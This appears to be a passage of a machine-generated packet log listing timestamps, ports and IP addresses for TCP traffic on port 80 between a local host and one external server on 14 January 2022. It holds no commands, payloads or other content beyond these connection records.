Jan 14, 2022 20:23:52.968213081 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.968230963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968271017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968281984 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.968329906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968369007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968410015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968424082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.968447924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968472004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.968487978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968641996 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968683004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968699932 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.968724012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968735933 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.968761921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968801975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968842030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968854904 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.968892097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968894958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.968931913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968971014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.969011068 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.969024897 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.969053984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.969060898 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.969093084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.969131947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.969162941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.969182968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.969217062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.972664118 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.972706079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.972778082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.026220083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.026591063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.026664972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.026695013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.026772976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.026839018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.026842117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.026882887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.026921034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.026940107 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.026959896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.026999950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027009964 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.027036905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027076960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027115107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027127028 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.027152061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027164936 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.027192116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027232885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027254105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.027273893 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027313948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027348042 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.027352095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027400017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027410984 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.027440071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027477980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027518034 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.027518988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027558088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027561903 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.027596951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027637005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027656078 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.027676105 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027715921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027746916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027779102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027807951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027838945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027869940 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.027880907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027919054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027940035 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.027957916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.027997017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028019905 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.028037071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028076887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028090000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.028115988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028155088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028193951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028204918 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.028233051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028235912 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.028271914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028311968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028351068 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028353930 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.028393030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028407097 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.028433084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028471947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028512001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028523922 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.028549910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028562069 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.028597116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028666973 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.028678894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028717995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028755903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028772116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.028795958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028836012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028841972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.028876066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028915882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028953075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.028968096 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.028995991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.029001951 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.029036045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.029078960 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.029114962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.029153109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.029192924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.029200077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.029233932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.029274940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.029292107 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.029316902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.029444933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.029483080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.029499054 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.029534101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.058459044 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.086095095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086129904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086152077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086194038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086218119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086229086 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.086241961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086255074 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.086278915 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.086359024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086386919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086410046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086445093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086450100 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.086486101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.086517096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086595058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086662054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086700916 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.086743116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086781979 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.086798906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086860895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086946011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.086987972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087003946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087043047 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087064981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087111950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087157011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087177992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087193966 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087199926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087218046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087225914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087236881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087254047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087260008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087270975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087287903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087290049 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087304115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087321043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087330103 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087340117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087356091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087363958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087373972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087392092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087402105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087412119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087430000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087431908 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087446928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087464094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087466002 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087481976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087497950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087513924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087517977 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087532043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087548018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087548971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087568045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087568998 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087584972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087599993 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087605000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087621927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087637901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087652922 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087656021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087672949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087690115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087697029 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087707996 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087714911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087726116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087743044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087755919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087759972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087774038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087778091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087796926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087814093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087829113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087836027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087847948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087848902 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087866068 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087881088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087883949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087902069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087918997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087938070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087938070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087955952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087965965 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.087974072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087992907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.087992907 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.088011026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.088042974 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.143117905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.143145084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.143161058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.143198013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.143244982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.145112038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145175934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145215988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145256996 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.145267963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145335913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145411968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145435095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145442963 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.145467043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145486116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145503998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145526886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145545006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145562887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145592928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145596981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.145616055 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.145622015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145622015 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.145649910 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.145725012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145762920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145819902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145832062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.145884991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145919085 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.145935059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145960093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.145994902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146018982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146043062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146061897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146080971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146086931 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146100044 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146106005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146109104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146121025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146135092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146161079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146184921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146209002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146219969 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146231890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146234989 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146256924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146282911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146291018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146306038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146330118 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146354914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146369934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146379948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146394968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146409988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146435022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146459103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146485090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146491051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146501064 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146508932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146533966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146558046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146578074 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146581888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146584988 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146608114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146631956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146663904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146676064 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146687984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146689892 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146709919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146733046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146750927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146773100 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146775007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146785975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146800995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146823883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146843910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146863937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146873951 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146882057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146899939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146918058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146934032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146940947 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.146951914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146970034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.146989107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.147010088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.147027969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.147044897 CET	80	49866	81.163.30.181	192.168.2.3
